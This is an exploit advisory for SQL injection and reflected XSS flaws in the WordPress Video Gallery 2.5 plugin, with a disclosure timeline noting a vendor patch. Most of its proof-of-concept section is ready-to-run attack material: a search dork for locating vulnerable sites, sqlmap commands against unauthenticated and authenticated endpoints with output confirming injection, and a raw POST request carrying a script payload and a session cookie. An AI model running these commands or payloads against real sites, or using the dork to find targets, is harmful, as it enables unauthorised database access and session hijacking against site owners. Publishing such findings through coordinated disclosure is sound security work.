WordPress Video Gallery 2.5 SQL Injection/XSS Vulnerabilities

Wordpress Video Gallery

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# Exploit Title : WordPress Video Gallery 2.5 SQL Injection and XSS Vulnerabilities

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.apptha.com/category/extension/Wordpress/Video-Gallery

# Software Link : http://downloads.wordpress.org/plugin/contus-video-gallery.2.5.zip

# Dork Google: inurl:/contus-video-gallery/hdflvplayer/hdplayer.swf
               (Click on "Repeat the search with the omitted results included")

# Date : 2014-07-15

# Tested on : Windows 7 / Mozilla Firefox
              Windows 7 / sqlmap (0.8-1)
              Linux / Mozilla Firefox
              Linux / sqlmap 1.0-dev-5b2ded0

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# Vulnerability Disclosure Timeline:

2014-07-15:  Discovered vulnerability
2014-07-16:  Vendor Notification (Support e-mail address)
2014-07-17:  Vendor Response/Feedback 
2014-07-23:  Vendor Fix/Patch (same version number 2.5) 
2014-07-24:  Public Disclosure 

# Description

Wordpress Video Gallery 2.5 suffers from SQL injection and Cross Site Script vulnerabilities


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# PoC

# Vulnerablity n°1:

# SQL Injection 1 (Authentication NOT Required):

1) Open the browser and connect to url http://VICTIM/wp-content/plugins/contus-video-gallery/myextractXML.php

2) Copy a video_id number (ex. video_id="1")

3) sqlmap  -u "http://VICTIM/wp-admin/admin-ajax.php?action=myextractXML&vid=1" -p vid


[21:02:40] [INFO] GET parameter 'vid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 
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[21:03:34] [INFO] GET parameter 'vid' is 'MySQL > 5.0.11 AND time-based blind' injectable 


# SQL Injection 2 (Authentication Required):

sqlmap --cookie="INSER_WORDPRESS_COOKIE_HERE" -u "http://VICTIM/wp-admin/admin.php?page=newplaylist&playlistId=1" -p playlistId

sqlmap --cookie="INSER_WORDPRESS_COOKIE_HERE" -u "http://VICTIM/wp-admin/admin.php?page=newvideo&videoId=1" -p videoId

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# Vulnerablity n°2:

# XSS Reflected Authenticated (/videoads/videoads.php, /video/video.php, /playlist/playlist.php )

# PoC:

POST
Host=VICTIM
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
Referer=http://VICTIM/wp-admin/admin.php?page=videoads
Cookie=wordpress_b43b255bc018ee66673cd91980a723bf=usertest%7C1405626269%7Ce1559aa048ec23f2ddbb5a40290a3d2e; wp-settings-1=advImgDetails%3Dshow%26libraryContent%3Dupload%26wpfb_adv_uploader%3D1%26editor%3Dtinymce%26uploader%3D1; wp-settings-time-1=1405118515; bLicense54=true; __utma=86855576.2039073811.1404413871.1404413871.1404416567.2; __utmz=86855576.1404413871.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_fid=6EEA54B2DFA4150F-06C135149F70F3D9; wp-settings-time-2=1405287261; wp-settings-2=mfold%3Do%26libraryContent%3Dupload; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-AssetAdmin=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; redux_current_tab=0; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_b43b255bc018ee66673cd91980a723bf=usertest%7C1405626269%7Cd8c8ffae7aa7720d4fb3cb56537b1ea7
Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=110
POSTDATA=videoadssearchQuery=<script>alert(1)</script>&page=videoads&videoadsearchbtn=Search+Video+Ads


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Discovered By : Claudio Viviani
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